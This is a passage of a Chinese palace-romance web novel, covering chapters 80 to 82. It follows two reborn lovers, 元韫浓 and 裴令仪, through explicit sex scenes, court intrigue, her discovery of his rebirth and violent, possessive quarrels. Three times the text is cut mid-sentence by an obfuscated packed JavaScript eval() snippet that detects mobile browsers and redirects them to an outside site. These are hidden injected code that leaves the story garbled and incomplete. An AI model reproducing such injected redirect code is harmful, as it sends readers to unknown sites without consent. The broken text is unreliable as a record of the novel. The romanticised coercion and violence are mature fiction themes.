他说:“我想将这些年来阿姊的模样记下来,阿姊给我的所有我都想记着,都想留着。” 元韫浓冷笑:“装得倒像条忠犬。” “那你告诉我,谁家好狗会这样肖想觊觎主人?”她问。 裴令仪仰头,露出脆弱的喉结,摇曳的烛火在眼里碎成一片晃荡的星子,“阿姊想要取我性命,随时来取。” “裴令仪,你究竟……”元韫浓半眯起眼睛。 “阿姊。”裴令仪摁住了元韫浓的手腕,上前一步。 距离急速拉近,呼吸仅在咫尺之遥。 元韫浓微微一怔。 “阿姊若有怜我之意,可否许我一个来日。”裴令仪捧着元韫浓的脸,叫她看着四壁挂满的画像,“即使是看见了这些,知道我是什么样一个人,阿姊也不会抛下我的吧?” 元韫浓对于裴令仪的本性深有体会,对此即使依然感到震撼,但也不会有太大的反应了。 毕竟哪怕是这一世,裴令仪上来也会用元彻回来威胁她。 而她还见识过前世更疯的裴令仪。 禀性难移。 但元韫浓依旧对这些人固执地求一个保证而感到不解。 有什么用呢? 口头上虚无缥缈的承诺,何况还是出自于她这种人之口,根本起不到任何作用。 像是慕湖舟求来世,裴令仪求来日。 裴令仪盯着元韫浓的眼睛,像是在提醒元韫浓什么,也像是在安慰自己什么。 他说道:“阿姊答应过我的。” “不,是你曾经向我起誓的。”元韫浓反驳道。 元韫浓扯过裴令仪的衣领,像是牵过了狗绳,“你曾经自己向我发誓,你不要饵食,不要棚窝,甚至不要墓碑,而你现在却在向我索求这些。” 她松开了手,推了一下裴令仪的头,“你这条贪心的野狗。” “的确是我贪心,阿姊,所以我不敢奢望你完完全全地站在我这里。”裴令仪却蹭了蹭元韫浓的掌心。 他偏过脸,亲吻元韫浓的手掌,“我只要阿姊不抛下我。” 无论怎么样,无论元韫浓发现什么,都不要抛弃他。 元韫浓沉默地凝视着裴令仪,半晌之后,才道:“我只能答应你,如果有朝一日你跌落云端,我不会丢下你。即使是我站到你的对面,与你为敌,至少我不会丢下你。” 哪怕以后裴令仪失势了,她站到了慕湖舟那里去,她也不会丢下裴令仪,让裴令仪**。 这是元韫浓能做出的最大保障了。 其实她大可以去骗裴令仪,只是她这时候不想骗裴令仪。 裴令仪也知道这是元韫浓最大的承诺了。 “哪怕是骗骗我也可以。”裴令仪轻声说道。 他俯下身,元韫浓都能闻到他身上极其浅淡的血腥气漫过来。 “阿姊戴着我送阿姊的礼物,我很高兴。”他说道。 柔软的唇舌似是无意间扫过了那一片肌肤,挂在脖颈上的白玉圆月项链的坠子突然被温热包裹,他竟用齿尖咬住了冰凉的玉坠。 元韫浓低下头,眸光闪动了一下。 “松口。”她扯动链子,想要把坠子从裴令仪口中扯出来。 裴令仪也确实松口了,但却顺势前倾,**袍广袖扫落案上书信宗卷。 阴影笼罩下来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476503|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的拇指擦过元韫浓的唇角,“阿姊……” 显然刚才只是试探,下一刻话音便湮灭在相贴的唇间,他含住元韫浓下唇轻轻一吮。 元韫浓的手指抵住他的咽喉,却被他捉住手腕按在桌上。 裴令仪拆开了元韫浓发间的发簪,乌浓的长发倾泻而下,人也倒在了桌上。 垂落的青丝扫过裴令仪身上的疤痕,他的指尖抚过元韫浓后颈,“阿姊好漂亮。” 书桌的凉意透过画卷渗进脊背,元韫浓本人就和那幅画上的人重叠了。 裴令仪的犬齿挑开她的衣领,每一寸目光都像是在元韫浓肌肤上蜿蜒成细密的火纹,带有炽热的温度。 那双眼睛凝望着她,仿佛所有的星光都黯淡成灰烬,只剩滚烫的光焰,温柔的炽热里。 “阿姊……”他又喊了一声,喘息灼着元韫浓耳后。 元韫浓屈膝顶他腰腹,却反被掐着大腿按了下去。 裴令仪啄吻着她眼尾的痣,低笑:“阿姊若是想要拒绝我,不该是这种反应的。” 他握着元韫浓的腕子往衣襟里带,“阿姊的手好凉。” 唇齿流连处激起细微战栗,元韫浓突然掐住裴令仪的后颈,“清都,你……” 尾音被吞进交缠的呼吸里,裴令仪的呼吸有些乱,有些急切,手却乖顺地托着元韫浓的腰肢,仿佛还是那个任打任罚的小可怜。 元韫浓咬破了他的舌尖,血腥味勾出更多陈年记忆。 裴令仪年少时躲在帷幔后,在她午睡时偷吻了她的指尖时,也是这般战栗着屏住呼吸。 在烛光晃动的光影里,她看见裴令仪垂落的睫毛。 浓密而颤抖,遮住了眼底的情愫。 像国公府岁浓院的垂花门帘,掩着无数个她假装没看见的,裴令仪悄悄望过来的瞬间。 “别动。”她突然咬住裴令仪的肩头,铁锈味在舌尖漫开。 裴令仪闷哼一声。 “疼吗?”元韫浓故意用力,用指腹碾过脆弱处。 裴令仪将染血的唇印在元韫浓掌心的疤痕上,曾经元韫浓设计救他故意摔在石块上受的伤,留下来一道相当浅淡的疤。 汗湿的额发扫过元韫浓的锁骨,他露出笑:“我喜欢阿姊给我的一切,哪怕是疼痛。” 元韫浓的唇瓣若即若离地蹭过裴令仪的嘴角,“是吗?” “我的一切都是阿姊给的,就算是阿姊要我的命也可以。”裴令仪将元韫浓抱上小榻。 他总是轻飘飘地说出这种话。 那么轻而易举就能说出生死爱恨,好像生死于他而言不值一提一样。 元韫浓望着裴令仪昳丽的眉眼,“疯子。” 裴令仪却只是笑了笑,仿佛把这句话当成了夸奖。 元韫浓想起他的母妃是舞阳人,恐怕当初也是深受楚乐遗风影响。 楚歌饶恨曲,南风多死声。 裴令仪扯散玉带钩,衣袍砸在青砖地上,一层层的锦绣罗缎堆叠在一起。 染血的唇游移到元韫浓的颈侧,裴令仪轻笑:“只愿此夜,长久无间。” 元韫浓舔舐掉裴令仪嘴唇上的血珠,裴令仪就着血腥味加深这个吻,指间缠绕着她的一缕发。 元韫浓在眩晕中越陷越深。 “如果这只当一场梦,那梦醒之后,阿姊可否赐我一个好梦如旧?”裴令仪的声音像是魇语。 元韫浓无力去回答多余的话,靠在裴令仪的臂膀上喘息,偶尔失神,目光越过裴令仪的肩膀,看到的确实自己的画像。 她和画里的自己对视,一幅幅画中的自己也凝视着她。 而这些也会被更多的快感席卷而走,更加难以全神贯注地去想什么。 白玉圆月的坠子就夹在二人之间,仿佛紧密地联系在一起了。 月亮也就此圆满了。 裴令仪感恩这一刻的团圆,但是他还是不知足。 裴令仪用拇指拭去元韫浓眼角的泪水,“天还没有亮,阿姊,它为什么不能永远不能亮?” 夜还很漫长,可是对于裴令仪来说还是太短暂了。 打杀长鸣鸡,弹去乌臼鸟。 愿得连冥不复曙,一年一都晓。 第80章 血肉 元韫浓醒过来,还是因为裴令仪抱得太紧了。 她抬脚踹裴令仪心窝,却反被捉住脚踝亲在足背上。 腰更酸了,不但腰酸,还牙酸。元韫浓眉心一跳。 裴令仪笑了笑,双手捂住元韫浓的脚,“阿姊的脚也很冷。” 元韫浓在晨光中眯起眼,裴令仪锁骨处的牙印很深,肩膀上的几道抓痕也**毛地渗着血。 “疼吗?”元韫浓随口问了一句。 裴令仪装可怜,“也是有些疼的。” “活该。”元韫浓冷笑。 是裴令仪先弄疼她的,她也是本能。 “是我的错,阿姊可要盥洗?我已经叫人备好了早膳。”裴令仪温声道。 元韫浓因为腰酸背痛,实在是没心情给裴令仪好脸色,“废话。” 尽管她无法否认裴令仪的本钱和能力,但是裴令仪是不是表现得有些太好了?全然不像是头一回。 身体上的生涩是无法避免的,但是对于技巧和各种熟知而言,裴令仪是不是有些太厉害了? 元韫浓半眯着眼睛上下打量裴令仪。 “怎么了?阿姊这般看我?”裴令仪眨了一下眼睛。 “你……先前没有流连于秦楼楚馆的习惯,那你是在军中……”元韫浓犹疑道。 裴令仪很快就意识到了元韫浓在说什么,敛了笑,“阿姊。” “我待阿姊是真心实意的,侍奉阿姊也是干干净净,清清白白,更绝不会背叛阿姊。”他认真道。 “行了,这副表情做什么?我说说而已,只是你无师自通得有些厉害了。”元韫浓说道。 裴令仪顿了顿,笑着搀扶起元韫浓,“我就当阿姊是在夸我了。” 毕竟……他并不想让元韫浓通过这些蛛丝马迹,知道他也是重回一世之人。 元韫浓如今可以如此对待他,是因为在元韫浓眼里,他还是那个什么都不知道,什么都没做过的裴令仪。 是那个被元韫浓亲自带回来,一路相伴走过来的裴令仪。 但要是元韫浓知道了他不是,知道他其实是前世那个跟自己纠缠不休,到最后爱也不清楚,恨也不清楚的那个人以后,一切只会回到最开始。 回到前世那样。 裴令仪太珍惜如今的这个机会,他珍惜这个破镜重圆的机会。 元韫浓盥洗完回到主屋,发现裴令仪竟然也跟了回来,正在仰头喝药。 看到元韫浓,裴令仪不动声色地将药碗搁在了侍者的漆盘上,笑着朝元韫浓走来,“阿姊。” 侍者端着漆盘无声退下。 元韫浓看向裴令仪,看来裴令仪盥洗比她快多了,还到这里来提前等她。 裴令仪的头发还是有些湿润,带着潮气,乌黑的眼睛水雾氤氲。身上只披着月白色锦袍,在沉香袅袅中意外柔和。 “你刚刚喝的什么药?”元韫浓直接问。 裴令仪回答:“近来睡得不好,一些安神汤罢了。” “裴清都。”元韫浓面无表情道。 裴令仪顿了顿,知道元韫浓这是发作的前兆。 元韫浓久病成医,近些年来没少用过安神药,闻起来什么味道还能不知道吗? “避子汤。”裴令仪说了实话。 元韫浓顿了顿,“你喝?” “嗯,是给男子的。”裴令仪点头,“这些事情自然是我来做,万一伤身,也该是我来。” “你不喜欢孩子吗?”元韫浓微微皱眉。 前世裴令仪就不见得有多在意孩子在意血脉,不但后宫里只有她,也没有要子嗣,更是年纪轻轻就主动从宗族过继孩子。 裴令仪沉默了:“……” 他实在是无法喜爱一团未成形的血肉,也不想要这来分走元韫浓的爱。 元韫浓天性凉薄,爱恨全给他,他犹嫌不够。 更何况元韫浓在意很多人,心里也装了很多事。 他不想再有什么来分走元韫浓的精力与爱。 “我不想有什么再让阿姊分神。”裴令仪说了实话,“何况女子生产本就是万分凶险,我不想阿姊承担任何风险。” 元韫浓的身体不一定能负担起孩子的,而且元韫浓也不会想要孩子的。 裴令仪依然对前世印象深刻,元韫浓灌下落子汤后昏了那么久,他是真的很害怕。 他怕元韫浓就这样**。 “阿姊平平安安的便好了,子嗣之事于我而言,并不重要。难道阿姊喜欢孩子吗?”裴令仪问。 “不,再说吧。”元韫浓摇了摇头。 谈不上厌恶,也谈不上欢喜,平常而已。 前世那么激进,也只是因为不想生下裴令仪的血脉而已。 至于今生……再说吧。 “那便好。”裴令仪稍稍松了口气。 于他而言,元韫浓才是最重要的。 拉着元韫浓坐下,裴令仪拿起软布,“我来替阿姊擦发,阿姊用膳吧,不必管我。” 元韫浓刚盥洗完,头发还半湿不干,“你吃过了?” “我擦完再吃。”裴令仪细致地一点点擦拭着元韫浓披散的长发。 元韫浓也没再管,拿起碗筷,离自己最近的是一道花雕脆鳞鲥鱼。 裴令仪笑道:“鲥鱼多刺,我虽挑过鱼刺了,但阿姊用时还得小心些。” “你挑的鱼刺?”元韫浓扬眉。 “嗯。”裴令仪的指尖没入元韫浓的头发,他垂着眼睛,“阿姊喜欢吃鲜鱼,这些自然我来效劳。” “你倒是乖觉。”元韫浓笑出了声。 裴令仪只当是夸赞,弯了弯唇角。 等到裴令仪将元韫浓的头发擦干,元韫浓也吃得差不多了,搁下了筷子。 裴令仪也只是简单地用了一些,便叫人撤走了菜。 元韫浓原以为裴令仪用过早膳,也该去办正事了,岂料裴令仪依旧赖在她这里不走。 想想今日也不休沐,该上朝的。 “你怎么还不去上朝?”元韫浓捧着前几日裴令仪新寻来讨她欢心的孤本,问道。 分明前不久还在同一张床上颠鸾倒凤,裴令仪对元韫浓此时的翻脸不认人感到无奈。 “这几日惠帝都没有上朝,我便是不去也无妨,休一日也不碍事。”裴令仪道。 元韫浓斜睨他一眼,“这还没当上皇帝呢,就已经是这副昏君做派了。等真当上了,还怎么了得?” 裴令仪笑:“那怕是成了从此君王不早朝的昏君。” 元韫浓不理他了,自顾自翻阅着孤本。 裴令仪坐在元韫浓身边,盯着元韫浓看了半晌。 见元韫浓真的不理睬他,裴令仪歪倒在元韫浓腿上,仰着脸看元韫浓,“阿姊。” 元韫浓合上书,搁在一旁,望向自己双膝上跟撒娇的小猫似的裴令仪,“做什么?” “阿姊若是无事做,我陪阿姊进宫看望惠贞长公主如何?待看完了,阿姊还能去淑慎那里坐坐。”裴令仪说。 “也好。”元韫浓点了点头。 裴令仪行动力一绝,立刻换了衣裳,叫人套马进宫。 惠贞长公主在宫里也是小病一场,见元韫浓时也是戴着面帘坐得远远的,怕过了病气给元韫浓。 她忧心远在边关的岐国公和元彻回、元蕴英,又挂怀元韫浓一个人在清河王府过得好不好,有没有病。 元韫浓告诉她一切都好。 惠贞长公主这才放下心。 等聊得差不多,惠贞长公主说:“母亲在宫中一切都好,你也不必牵挂。应怜,你先去淑慎那里头坐坐吧,你们也该有段时日没见了。这里就留五郎下来,母亲也刚好问他一些日后的婚嫁事宜。” “好,那我一会再回来。”元韫浓颔首。 裴令仪状似乖巧地看了一眼元韫浓,“阿姊慢走。” 惠贞长公主关注着裴令仪和元韫浓之间的动向,目送元韫浓走出殿门。 “长公主留我,想来是有什么事情相商。”裴令仪道。 “应怜是本宫唯一的孩子。”惠贞长公主神色复杂,“本宫爱她,很爱她。” 裴令仪点头,“这一点,京华城之中,有目共睹。” 惠贞长公主说:“近日以来,本宫发现了一些宫中的前尘旧事。或许对旁人来讲不值一提,但是对本宫来说特别重要。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“岐国公与世子、三娘都在外戍边讨虏,我已向惠帝上奏开放粮道。”裴令仪道,“至于粮草,我和阿姊也已经想办法筹备了。” 元韫浓从裴氏族亲那里挖过来的,剩下的,他再把这些时日那些人为了示好送来的礼物变卖后卖粮,凑一凑总能够的。 毕竟京华中的世家权贵,出手都相当阔绰。 叫他们出钱出力出粮,他们不会乐意。但是向他们索要钱财,用来社交往来,他们就会乐意了。 惠贞长公主长长地叹了口气:“如今是多亏了你,五郎,我们待你虽不说是刻薄苛待,但我扪心自问,确实做不到视如己出。你如今可以倾囊相赠,我在此谢过。” “长公主言重了。”裴令仪笑了笑,“我也只是为了私心而已,为了阿姊罢了。” “多谢。”惠贞长公主点了点头,“我这个做母亲的,走到这一步,也不去求别的什么。” 她的目光柔软下来,“应怜,这个孩子倾注了我的全部心血。取字为应怜,也是盼着苍天也能怜惜她,万物皆可怜爱她。五郎,你……” 裴令仪郑重其事地道:“是阿姊怜我,教我有今朝。” “好、好。”惠贞长公主含着泪光点头,“如此,我便放心了。” “长公主,勿怪我多言,此话我还是得讲。”裴令仪严肃道,“我知道长公主与惠帝是一母同胞的姐弟,但他不是可信之人。” 惠贞长公主低下了头,“我知道他昏庸无信,颇多猜忌……” “不止如此。”裴令仪眸色森冷,“阿姊随慕湖舟前往靖州路上,惠帝也有出卖消息给北凉之人。长公主若是真心爱阿姊,也得知道,惠帝或许对您还留有旧情,但对阿姊,他可是全无怜子之心。” 望着惠贞长公主惊愕的神色,裴令仪说:“我睚眦必报,原就是与他血海深仇,如今,更是绝无和解的可能了。” 惠贞长公主脸色苍白。 “长公主还请好好想一想吧。”裴令仪道。 第81章 破镜难圆 拜别母亲,离宫回清河王府路上,元韫浓见裴令仪似乎是心有所想,难免诧异。 “怎么?跟我阿娘聊几句,也值得你如此深思?”元韫浓问。 裴令仪回过神,笑:“惠贞长公主提起了阿姊外祖母的事情,便细思了片刻。” 元韫浓沉默片刻,“这么说,阿娘知道外祖母是被太后所杀的了?” “嗯。”裴令仪点头,“长公主应该不会做傻事的,她是聪明人。” “只要这时候不生乱,什么都好说。”元韫浓点了点头,“这些事情,我做女儿的不好强硬干涉,也得阿娘自己想清楚。她连当初和父亲摊牌,都要我回避。” 裴令仪含笑点了点头,“长公主很爱阿姊。” 元韫浓突然有些好奇了,“我很少见你提起你的父王母妃,是因为没印象了?” 元韫浓总是这样,天真的残忍。 “确实记不太清楚了。”裴令仪无奈地笑了笑,“就连最初在宫中过得不好,我都快记不清了。” 因为那时候他太小了。 “原来支撑你的,不是家仇国恨,而是他们报复在你身上的苦厄吗?”元韫浓撑着下巴,有些意外。 她一直以为裴令仪也是要报家仇国恨的,为自己的父母报仇,也要光复裴雍。 原来更多是为了自己吗? “不。”裴令仪噙着笑,笑意柔和,“是为了阿姊。” 主要是为了夺得元韫浓,也为了留住元韫浓而已。 报仇只是其中的一部分。 “花言巧语。”元韫浓嗤笑。 “阿姊真是冤枉我。”裴令仪含笑摇头,“我可都是真心实意。” 元韫浓托着脸,侧头看他,“你从前总板着一张脸,如今倒是笑得多了。果然,贵气养人。” 裴令仪只笑不言。 分明是因为在元韫浓身边,他才多笑笑。 回了清河王府,裴令仪又跟着元韫浓回了主屋。 “你是自己没屋子还是怎么的?一个劲地往我这里钻。”元韫浓少不得说他两句。 “阿姊。”裴令仪从身后拥上来,环住元韫浓的腰,嗓音暗哑。 裴令仪今晨也喝了避子汤。 元韫浓顿了顿,扬起眉梢,明知故问:“做什么?” “阿姊真是坏心,分明知道,我想要做什么?”裴令仪按着元韫浓的肩膀转过,捧着她的脸,低下头。 唇舌密不可分地缠上来,一边亲吻着,一边抱起人往身后的床榻走去。 裴令仪倾身覆了上来,扯下外袍。 随着繁复绚丽的衣袍一层又一层接连堆叠在地上,抵着她的裴令仪稍稍退离了一些。 “他们为什么说你冷淡,不近女色?分明像是发情的野狗。”元韫浓轻嗤一声,目光意有所指地顺着裴令仪的腰腹往下瞥去。 裴令仪呼吸微微变重,指腹拂过元韫浓的脸庞,摩挲过唇珠,再一点点往下。 “那阿姊要我吗?”他哑着声问,“阿姊说停下,我就会停下。” 元韫浓笑而不语,只是向往常那般指尖点了一下裴令仪,然后朝他勾了勾手指。 裴令仪眸色暗下来。 二人重新贴合在一起。 到了后面元韫浓连目光都溃散了,气都喘不匀,整个人都在颤栗。 “阿姊,骗骗我吧,说你爱我。”裴令仪低声恳求道。 元韫浓恍惚之间,眼神也有一瞬间的忽远。 她最终还是什么都没说出口。 而裴令仪低下头衔住元韫浓脖颈上垂挂下来的白玉坠,“阿姊在透过我看谁?” “是慕湖舟吗?还是沈川?”他加重了力道。 元韫浓原本回笼的理智又被撞碎了。 事后不知温存了多久,又耳鬓厮磨了多久,元韫浓半梦半醒间被裴令仪抱去清洗。 回到床榻之间,又被裴令仪搂抱在怀中昏昏沉沉地睡了过去。 等到再睁开眼,也是被饿醒的。 裴令仪的双臂还环抱在她腰间,元韫浓拍了两下裴令仪的手臂,“我饿了。” “嗯,快要到午膳了,早就备好了。”裴令仪将脸埋在元韫浓颈肩轻轻蹭了蹭。 他起身从床上扶起元韫浓,“我伺候阿姊梳洗可好?” 元韫浓推开他,“让霜降和小满来。” “好吧。”裴令仪看着有些委屈。 元韫浓梳洗完吃了午膳,裴令仪陪她一起用的膳。 “你今日也不上朝?”元韫浓问。 “今日是真的休沐。”裴令仪笑。 裴七过来汇报事务,裴令仪便敛了笑,侧过身低声交代事情。 元韫浓望着裴令仪的侧脸,越来越像了。 陌生到熟悉,熟悉到陌生。 她很难不起疑心,正是因为她太了解裴令仪了才会这样。 等到所有人都退出去,房间里只剩下了她和裴令仪。 二人都在做自己的事情,裴令仪低头看着裴七方才送来的折子,而元韫浓手里拿着还未看完的孤本。 闲适平常的就像是前世的某一个午后一样。 元韫浓在布局时总是有耐心的,她也真的看完了那孤本。 天色渐晚,外头淅淅沥沥地下起了小雨。 用过晚膳之后,霜降端来了药,元韫浓也拧着眉喝了。 接了裴令仪递来的蜜饯,元韫浓塞进嘴里甜了甜嘴,随口说道:“这几日的药都很苦。” “良药苦口利于病,阿姊实在不喜欢,我到时候问问大夫能不能换几味不苦的药材。”裴令仪说。 元韫浓看向桌案上堆叠的批笺,“事情有这么多?” 裴令仪无奈摇头,“事情总做不完的,不碍事。” “去做吧,别耽误了,叫人捉了你的错处。”元韫浓状似平常道。 “有了阿姊先前的杀鸡儆猴,如今谁还敢捉我错处?”话是那么说,但裴令仪还是乖顺地到了桌案边。 见裴令仪拿起了一份批笺,元韫浓盯着他的背影,口吻自然道:“对了,今夜的药不必送到凤仪宫了,我这几日头疼,喝不来那些药,叫太医院换一换。” “好,我叫人去换一味药。”裴令仪顺口回答道。 话音刚落,裴令仪意识到了什么,动作停顿在原处。 满室的死寂。 他倏地转过身,抬眸望过去,与元韫浓对视。 元韫浓似乎有些站不稳地后退了一步,眼中明暗交杂。 似是有恨意,也有不可置信。 “阿姊……”裴令仪压抑不住声音的颤栗与嘶哑。 瞒了这么久,终究还是败给了元韫浓的敏锐和两世朝夕相处的习惯。 “什么时候回来的?”元韫浓攥紧了双手,“是这**来?还是更早?记得哪一步?是逼我进宫做皇后?还是油尽灯枯?” “比阿姊晚,在班师回朝的前夕。”裴令仪抬眸,眼底翻涌着陌生的苍凉,“全部记得。” “啪”的一声脆响,元韫浓的耳光甩得他偏过头去。 裴令仪脸上迅速浮起鲜明的指痕,却露出近乎解脱的笑。 “好玩吗?”元韫浓红着眼睛看他,“明知道我是跟你一样重回一世之人,还看着我重走老路,像耍猴似的逗弄……” “阿姊以为我是怎么过的?”裴令仪问,“我想过坦白,但前世阿姊就那样恨我,连我咽气前也不肯骗骗我。我若是说了实话,阿姊会留在我身边吗?” 恨意混着绞痛在胸腔炸开,元韫浓拔下发簪刺向他喉头,“裴清都!” 簪尖在皮肤上压出血珠,她咬着牙发抖,“又是这样、又是这样!你只不过是想要有人陪着你一起往这泥沼里坠,你不过是想要有人陪你一起困在那里!” “上回也是这样。”裴令仪笑着扬起脖颈,“上回阿姊也是这样,拔下发簪来刺杀我。” 窗外的惊雷劈开夜幕,照亮两人眼中相同的苍凉。 暴雨骤降。 “阿姊,还是跟从前一样。”带有一丝眷恋的,裴令仪望向元韫浓掌间的那一道疤痕。 那是证明元韫浓对他有片点怜惜的痕迹,无论是怜悯也好,是怜爱也罢。 至少能证明元韫浓对他并非全然无情,这两世几十年,并非是他一厢情愿的独角戏。 这样就够了。 “你真当我不敢动手吗?”元韫浓咬着牙,将发簪往前递了递,流淌下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他扶在元韫浓手臂的手握紧了,又缓缓地松开,“阿姊不要气坏了自己,若是不想见我,我可以走。” “滚!咳咳咳咳!”元韫浓别过脸剧烈咳嗽,纤瘦的脊背随着起伏不停颤抖。 裴令仪下意识想要扶她,却又僵在原地。 元韫浓恨声道:“滚啊!” 裴令仪望着元韫浓唇畔刺眼的血色,喉结动了动,却终究没说出话。 他转过身,走出房门。 他怕再待下去刺激到元韫浓,让元韫浓本就不好的身子雪上加霜。 元韫浓紧盯着裴令仪的背影消失在视线里,胸前那条所谓象征着圆满的圆月白玉项链在此时此刻更像是个笑话。 外头暴雨倾盆,愤怒与悔恨交加在一起,元韫浓咬紧了牙关。 她死死地握住了胸前冰凉的圆月玉坠,冷到仿佛在掌心里生热,发烫。 “团圆?”元韫浓带有嘲意地惨笑,“你我这般孽债,也配求团圆?” 元韫浓浑身发寒,哆嗦着扯下了链子,用尽全身的力气将项链朝窗外掷去。 玉坠在半空中划出一道弧度,转瞬即逝。 玉碎之声后,再无余声。 撞在青石砖上的玉坠碎成数瓣,裴令仪几乎是扑进雨幕里,伸手去捡。 “阿姊连这它也不想要了吗?”他喃喃自语。 他跪在雨里,拈起片沾血的碎玉,雷光劈开夜幕的刹那,照亮他脸上苍白的笑意。 “没事的,没关系的……”裴令仪自言自语般道,“能拼好的,可以回去的……” 他一点点捡起碎玉,碎玉棱角扎进掌心,血顺着雨水漫过碎玉。 碎玉中嵌着抹暗红,裴令仪颤巍巍拼凑着残片,像在拼凑欲裂欲碎的过去。 “就差……差最后一片……”**在雨里跪着拼了多久,血水和雨水混杂在一起,沿着他的眉眼往下滴。 裴令仪专注地盯着快拼凑成的圆月,只剩下最后一块碎玉。 他在满是雨水的地上摸索着,却怎么也找不到。 第82章 恨我 “怎么会……”裴令仪摸索过了周围的青砖缝,血水顺着指节渗进石隙。 直到碎玉在他掌心划拉出一道细浅的血痕,他才欣喜若狂地找到最后一块碎玉。 顾不上疼,他笑得眉眼生花,“多谢阿姐成全……” 裴令仪捡起碎玉,仔细用袖口擦拭碎玉上的泥泞与苔藓,蜷在雨中拼合着最后一道裂痕。 但拼凑完整的白玉圆月,却再次在裴令仪的掌心里四分五裂。 裴令仪怔忡地凝视着染血的碎玉,双手颤抖。 爱也不能,恨也不能。 他曾以为的破镜重圆,原来在再次重来的年少相伴,情深意笃之中,越来越碎。 前世呕心沥血,终登大极。 一切仿佛云开见月,但偏偏衰败从这一刻开始,熬到油尽灯枯。 是他要元韫浓陪他困在这里,成为缚地灵彼此拖拽,就不能怪元韫浓本性薄凉。 裴令仪捧着残玉,小心翼翼地揣着胸前,闭着眼睛苦笑一声。 他起身,血顺着掌心落在青砖上,又被雨水冲淡。 一切了无痕迹。 是故事要鲜艳,而缘分太浅。 是爱恨太深刻,但结局不堪。 裴令仪的身影消失在雨幕深处。 元韫浓在那日之后便又病了,大夫来来回回好几个,赶趟似的,但元韫浓赌气般不喝药。 裴令仪站在门口,看着送药进去的女使又端着两碗一点没动的药出来,都快要急哭了。 “还是不肯喝吗?”裴令仪问。 女使心下焦急,点头称是:“郡主就连日常在喝的药也不肯动一点,霜降姐姐和小满姐姐都没法子,是否要去进宫请惠贞长公主呀?” “这点小事,不必劳动惠贞长公主。”裴令仪只能亲自端着药进去,“孤来吧。” 裴令仪前脚刚迈过门槛,下一刻一个砚台就扔了过来。 “滚出去!”元韫浓道。 裴令仪动也没动一下,也没有躲。 砚台砸在额角,血水混杂着墨水一块流下来,黏腻地覆盖在裴令仪浓密的睫毛上。 但他的手却没抖一下,依旧稳稳端着药碗。 “殿下!”裴令仪身边的亲卫惊怒道。 裴令仪却笑了,“阿姊有力气了。” “听不懂人话吗?滚出去。”元韫浓紧盯着他重复。 “你们出去。”裴令仪道。 裴七急切道:“殿下!” 上回裴令仪就伤成那样,元韫浓分明就是冲着要命去的,这回一进门就这么剑拔弩张,还不知道怎么样呢。 “出去,听不懂吗?”裴令仪略微侧过脸,冷声斥道。 “是……”裴七心不甘情不愿地和几个亲卫退离。 霜降和小满也看了眼元韫浓的脸色,小心退下。 “府兵们说,阿姊想离开。”裴令仪说。 元韫浓冷冷地看向他,“你的眼线还真不少。” 裴令仪说:“那些人只是为了保护你。” “我说我要回岐国公府,难道你就会放我走吗?”元韫浓问。 裴令仪沉默了片刻,“阿姊若是此时走了,那些粮草就送不到边线了。” “你!”元韫浓怒极,“你就拿这些来威胁我?” “阿姊,我们之间有什么误会吗?”裴令仪端着盘子,小心地坐到元韫浓身边。 他仍然奢求一个好的结果。 “误会?”元韫浓冷声道,“即使是有什么误会,也不必解开,你给我去死。” 裴令仪闭了闭眼,“阿姊就是厌恶我,也不能如此不顾自己的身体。把药喝了吧,阿姊这样下去不行的。” “我就算病死了又和你有什么关系?”元韫浓嗤笑。 “阿姊!”裴令仪提高了声音,“别那么说!” 他把其中一碗药端过来,又软下声:“阿姊,别拿自己置气。” 这般模样反而让元韫浓更气了,她抬手打翻了药碗。 药汁倾翻,飞溅的碎瓷片划过。 元韫浓一字一顿道:“我说,我就算今晚病死在这里,也跟你没有任何关系。” “你非要这样咒自己?”裴令仪倾身逼近。 元韫浓闻到他袖口残留的血腥气,他脖颈上还缠着裹布,显然包扎好才没过多久,连结痂都没结上。 他掐住元韫浓下巴,睫毛簌簌轻颤,“阿姊就这么不把自己性命放在心上吗?” 元韫浓突然咳嗽起来,裴令仪的手瞬间卸了力,在她后颈虚虚地托着。 “阿姊……”裴令仪的声音突然变了调。 他的拇指缓慢而沉重地摩挲过元韫浓唇角的血迹,力度大得像是要把那抹红揉进皮肤。 此刻他瞳孔深处晃动的情愫,一时间元韫浓也看不明白。 裴令仪握住了元韫浓的手腕。 他在总在深夜里确定元韫浓的脉搏。 他低头咬住元韫浓的肩头,犬齿隔着衣裳传来战栗的刺痛,他渡过来的呼吸滚烫得不正常。 “我是屡教不改,是冥顽不灵。”裴令仪低声道,“所以不必原谅我了,我也不再奢求阿姊会原谅,是我不该妄想结局,我只要留下阿姊就够了。” 他道:“你就当我永远如此的卑劣吧,我的确是贪得无厌的贱狗。” “裴清都,你说我该要怎么恨你,才能够对得起这么多年的相伴?”元韫浓问。 “尽管恨我,阿姊,别原谅我。”裴令仪轻轻摇头。 只要记得他,什么都好。 既然恨会比爱长久,那就继续恨他。 裴令仪吻去元韫浓眼边的泪光,仰头将剩下的那碗药含在嘴里,扣着她的后颈亲了上去。 药汁顺着唇舌渡了过去,些许沿着唇角流下。 但不会再有人在意这些了。 血腥气混杂着药苦,裴令仪却越陷越深了。 